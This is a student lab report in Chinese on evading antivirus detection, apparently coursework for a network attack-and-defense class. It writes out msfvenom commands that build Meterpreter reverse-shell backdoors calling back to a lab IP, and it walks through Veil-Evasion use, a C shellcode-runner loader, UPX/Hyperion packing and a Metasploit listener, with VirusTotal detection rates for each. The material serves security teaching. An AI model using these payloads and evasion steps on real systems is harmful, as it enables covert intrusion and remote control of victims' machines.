当前位置: 首页 > news >正文

20232418 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232418 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

本次实验主要围绕免杀原理与实践展开,通过多种技术手段尝试实现恶意代码的免杀效果。首先,使用msfvenom生成不同格式的恶意文件(如exe、jar、php等),并进行多次迭代编码,以混淆代码特征。其次,使用veil-evasion工具生成免杀载荷,其通过模拟正常软件的编译流程和多层次混淆技术提高隐蔽性。此外,还尝试通过C语言结合shellcode编程,将恶意代码嵌入自定义程序中,再利用加壳工具(如UPX压缩壳、Hyperion加密壳)进一步隐藏代码特征。最后,通过组合多种技术(如编码、加壳、自定义加载器)生成恶意文件,并测试其免杀效果。

实验要求

掌握免杀原理与技术

回答问题

(1)杀软是如何检测出恶意代码的?

杀软主要通过特征码检测、启发式分析和行为监控这三种核心方式来识别恶意代码。特征码检测通过比对已知病毒的“指纹”来精准识别已知威胁;启发式分析则通过分析代码的静态特征或模拟运行其部分指令来发现可疑行为,以应对未知病毒;行为监控则在程序运行时实时追踪其操作,一旦发现如修改系统关键设置、加密文件等恶意行为序列便立即拦截。

(2)免杀是做什么?

免杀是指通过一系列技术手段对恶意代码进行加工或伪装,使其能够成功绕过杀毒软件的各种检测机制,从而在目标计算机上隐蔽运行而不被查杀的行为,这种行为常被攻击者用于网络渗透,也被安全人员用于测试防御体系的有效性。

(3)免杀的基本方法有哪些?

免杀的基本方法主要围绕欺骗杀软的检测技术展开,包括修改文件特征码以避开指纹比对、使用加壳或加密技术隐藏恶意代码真容、采用代码混淆增加分析难度,以及通过分离加载技术(如下载器、进程注入)或滥用系统自带的可信工具来间接执行恶意操作,从而规避检测。

2.实验过程

2.1 免杀效果基准测试

2.1.1 查找平台评价免杀效果

使用Virustotal平台软件评价免杀效果,网址为:https://www.virustotal.com/gui/home/upload。如图所示:
image

2.1.2 构建参考基准

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.16 PORT=2418 -f exe > met20232418.exe,生成一个针对 Windows 系统的恶意后门程序。这个后门程序一旦在目标 Windows 电脑上运行,会主动连接回攻击者控制的机器,从而为攻击者提供一个远程控制通道。
image
使用Virustotal检测该文件的安全性,检测结果为53/72,即用72个杀毒引擎检测,有53个引擎判定该文件含恶意软件。以此作为基准,用于对比后续免杀效果的执行情况。
image

2.2 Msfvenom使用编码器

2.2.1 生成exe文件和编码的exe文件

通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.16 LPORT=2418 -f exe > met-encoded20232418.exe,生成一个经过编码、去除特定坏字符的 Windows 后门程序,以提高其绕过防病毒软件(AV)检测的成功率。参数-e用于指定一个编码器(Encoder),x86/shikata_ga_nai是具体的编码器名称,它是Metasploit中一个非常著名和有效的编码器。参数 -b 用于排除坏字符(Bad Characters),'\x00'指定了要排除的坏字符是十六进制的 00,即空字符。
image
image

得到的检出率为43/72,在波动范围内与基准类似。
再利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b '\x00' LHOST=192.168.31.16 LPORT=2418 -f exe > met-10encoded20232418.exe生成一个经过10次迭代编码、并去除空字符的Windows后门程序,旨在通过多次变形来显著提高绕过静态防病毒软件检测的能力.。参数 -i 用于指定编码的迭代次数(Iterations)。
image
image

得到的检出率为45/72,也基本没有变化。说明这种文件生成和编码的模板的特征码已经基本都在库中了。

2.2.2生成jar文件和编码的jar文件

利用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=2418 x>metjar20232418.jar生成一个 Java JAR 格式的恶意程序。当用户在目标系统上运行这个 JAR 文件时(通常需要系统安装有 Java 运行环境 - JRE),它会反向连接回攻击者的机器,建立一个Meterpreter控制会话。meterpreter/reverse_tcp表示载荷的核心功能仍然是Meterpreter和反向 TCP 连接。但是,这个Meterpreter是用 Java 语言编写的,因此它只能在 Java 虚拟机(JVM)中运行。
image

image

利用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.31.16 LPORT=2418 x> met_encoded10_php_20232418.php生成一个经过10次编码的PHP脚本后门,该脚本在目标服务器上执行后会反向连接回攻击者的机器。-e x86/shikata_ga_nai -i 10表示用 shikata_ga_nai 编码器对Payload进行10次迭代编码,以混淆其内容,绕过简单的静态代码扫描或Web应用防火墙(WAF)。
image

image

得到的检出率均为35/64,说明jar文件更难被识别出来。

2.2.3生成php文件和编码的php文件

利用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=2418 x> metphp_20232418.php生成一个PHP脚本后门。当这个脚本在目标Web服务器上被访问或执行时,它会反向连接回攻击者的机器,建立一个Meterpreter会话。-p php/meterpreter/reverse_tcp是核心载荷,指定生成一个用PHP语言编写的、反向TCP连接的Meterpreter。
image

image

利用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.31.16 LPORT=2418 x> met_encoded10_php_20232418.php生成一个经过10次编码的PHP脚本后门,该脚本在目标服务器上执行后会反向连接回攻击者的机器。
image

image

得到的检出率分别为25/62和7/61,说明php文件也难以被识别,且php的编码有不错的免杀效果。

2.3使用veil免杀工具

2.3.1veil免杀工具的下载

使用指令sudo apt -y install veil,用apt下载veil。
image

image

这个过程涉及到很多内容,需要比较长的时间,但除了中间要输入一次密码以外,不需要进行任何手动操作。出现DONE后表明免杀工具成功安装

2.3.2veil使用过程

下载完毕后,在命令行中输入veil,输入use 1进入Evasion模块。
image

输入list查看所有可用的载荷种类。
image

输入use 7,选择上方的第七个c/meterpreter/rev_tcp.py。这是一个由Python脚本驱动的Veil-Evasion载荷,它会生成一个用C语言编写的、Meterpreter类型的、使用反向TCP连接的Windows可执行文件。
image

输入配置信息,包括攻击机器的IP与端口,以及所需要生成文件的文件名配置
set LHOST 192.168.31.16(反弹链接ip,虚拟机的ip)
set LPORT 2418(设置端口)
generate(开始生成)
image

根据提示的路径,在/var/lib/veil/output/compiled目录下找到生成的可执行文件
image

image

基于Veil-Evasion生成的可执行文件检出率为39/72,其免杀效果较基准大大提高。它通过模拟正常软件的编译流程,结合了多层次、动态的混淆与反分析技术,极大提高了恶意文件的生存能力。

2.4使用C + shellcode编程

使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=2418 -f c生成一段用 C 语言数组表示的、反向连接的 Meterpreter Shellcode。这段代码不能直接运行,而是需要被嵌入到另一个 C 程序中进行编译,或者用于其他形式的漏洞利用。
image

将上述代码复制在粘贴板上,通过指令vi shellcode_c_20232418.c为上述生成的恶意代码增添一个main函数如下
int main() {
int (func)() = (int()())buf;
func();
}
image

image

利用指令i686-w64-mingw32-g++ shellcode_c_20232418.c -o shellcode_c_20232418.exe来使用 mingw-w64 工具链中的 i686-w64-mingw32-g++ 编译器,将名为 shellcode_c_20232418.c 的 C 源代码文件编译为一个名为 shellcode_c_20232418.exe 的 32 位 Windows 可执行程序。这个程序的核心功能是加载并执行之前通过 msfvenom 生成的 Meterpreter Shellcode(反向 TCP 连接)。
image

image

测试这个文件的检出率,发现是42/72,有一定的免杀效果。
image

2.5使用加壳工具

2.5.1使用压缩壳UPX

使用 UPX 工具对之前编译生成的 shellcode_c_20232418.exe 文件进行压缩/加壳处理,并输出一个新的、经过 UPX 打包的可执行文件 shellcode_c_upx_20232418.exe,指令为upx shellcode_c_20232418.exe -o shellcode_c_upx_20232418.exe
image

测试检出率,发现是43/71,反而上升了
image

2.5.2使用加密壳Hyperion

使用指令sudo cp shellcode_c_20232418.exe /usr/share/windows-resources/hyperion/将之前生成的恶意可执行文件 shellcode_c_20232418.exe 复制到Hyperion工具的工作目录中。
image

cd /usr/share/windows-resources/hyperion(切换当前工作目录到Hyperion工具的安装目录)
Sudo wine hyperion.exe -v shellcode_c_20232418.exe shellcode_c_hyp_20232418.exe(使用Hyperion加密器对原始的恶意可执行文件进行高级加密,生成一个新的、经过加密的免杀版本,以绕过防病毒软件的静态检测)
image

image

测试检出率,发现是52/71,反而上升了
image

2.6通过组合应用各种技术实现恶意代码免杀

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.31.16 LPORT=2418 -f c > 20232418_shellcode_multi.c(生成一段高度混淆、无空字符的 Meterpreter Shellcode,并将其格式化为 C 语言数组,以便嵌入到自定义的漏洞利用程序或加载器中)
使用vi,在生成的文件中加入main函数
i686-w64-mingw32-g++ 20232418_shellcode_multi.c -o 20232418_shellcode_multi.exe(使用 mingw-w64 工具链中的 32 位 C++ 编译器编译)
upx 20232418_shellcode_multi.exe -o 20232418_shellcode_multi_2.exe(使用upx加一层压缩壳)
Sudo wine hyperion.exe -v 20232418_shellcode_multi_2.exe 20232418_shellcode_multi_3.exe(将最终生成的可执行文件放入主机,用杀软进行扫描,软件没有发现)
image

对文件20232418_shellcode_multi_3.exe进行检测,发现检出率为50/71,免杀效果不是很好
image

杀毒软件:火绒
image

文件被检测出来
image

2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在kali虚拟机中输入msfconsole打开msf的控制台,输入以下这些信息。
use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 192.168.31.197(设置为kali的ip地址)
set LPORT 2418(设置端口)
exploit(启动监听服务)
在杀毒软件开启的情况下,在主机上运行生成的可执行文件,文件无法运行,回连失败。
image

3.问题及解决方案

  • 问题1:下载veil的过程中会出现许多Y/S/N。
  • 问题1解决方案:可能是虚拟机内存在同样名称文件。一直Y覆盖掉原文件即可

4.学习感悟、思考等

通过本次实验,我深入了解了恶意代码免杀的基本原理和常用技术,包括特征码修改、代码混淆、加壳加密等。实验过程中,我体会到免杀技术是一把双刃剑:攻击者可能利用其绕过安全检测,而防御者则需要通过研究免杀技术来提升防护能力。尽管实验中尝试了多种方法,但现代杀软的综合检测机制(如行为监控、云查杀)仍能有效识别大部分恶意代码。这让我意识到,单纯依赖静态免杀技术已不足以应对日益智能的安全防护体系,未来需要结合动态行为隐藏、可信工具滥用等更高级的手段。此外,实验中也锻炼了问题解决能力,例如在安装veil工具时通过覆盖文件解决了依赖冲突。总体而言,本次实验不仅提升了我的技术实践能力,也加深了我对网络攻防对抗本质的理解。

参考资料

  • 《Java程序设计与数据结构教程(第二版)》
  • 《Java程序设计与数据结构教程(第二版)》学习指导
  • 博客园https://www.cnblogs.com/20222408msy/p/18505326
http://www.hskmm.com/?act=detail&tid=39677

相关文章:

  • 大学生为啥一定要认真听讲
  • ti2
  • 单像素demo初探
  • 以听筑基,以行践知:解锁学习新范式的思考
  • Day4表单-imput标签
  • 学好专业,养好体魄——我的学习感悟
  • 昨天 今天 明天
  • 加密算法相关
  • 刻意练习的重要性
  • 利用 kubeadm 快速部署 kubernetes(k8s) 集群
  • 第七周物理实验:分光仪调节及三棱镜折射率测量
  • 联发科技 Genio 物联网高效的平台,引领 IoT 智能新时代
  • 20232324 2025-2026-1 《网络与系统攻防技术》实验三实验报告
  • 密码学学习
  • 电脑文件系统整理概要
  • 为自己读书
  • Boost.asio中的协程队列库
  • 第6天(简单题中等题 不定长滑动窗口)
  • 代码大全阅读笔记
  • 主动求索:大学生应掌控学习与时间
  • 沉入 遗忘 海底 躲进 存在感的盲区 kill my memory 请把项上垃圾移去
  • 2025.10.25 测试 广二 + 梦熊
  • Serilog 日志库的简介
  • 2025东莞环评公司/环评手续/环评报告/环评验收推荐:广东三洁环保,专业高效,合规保障
  • word文档使用技巧----一键插入题注
  • 再见 懦弱者的泪滴 善恶判断舍弃 永别 那廉价的正义
  • 变盲从为探索:专注听课
  • 以听为基,以做为翼
  • 【CI130x-离在线】FreeRTOS的信号量
  • 践行 “学思行”,解锁学习新境界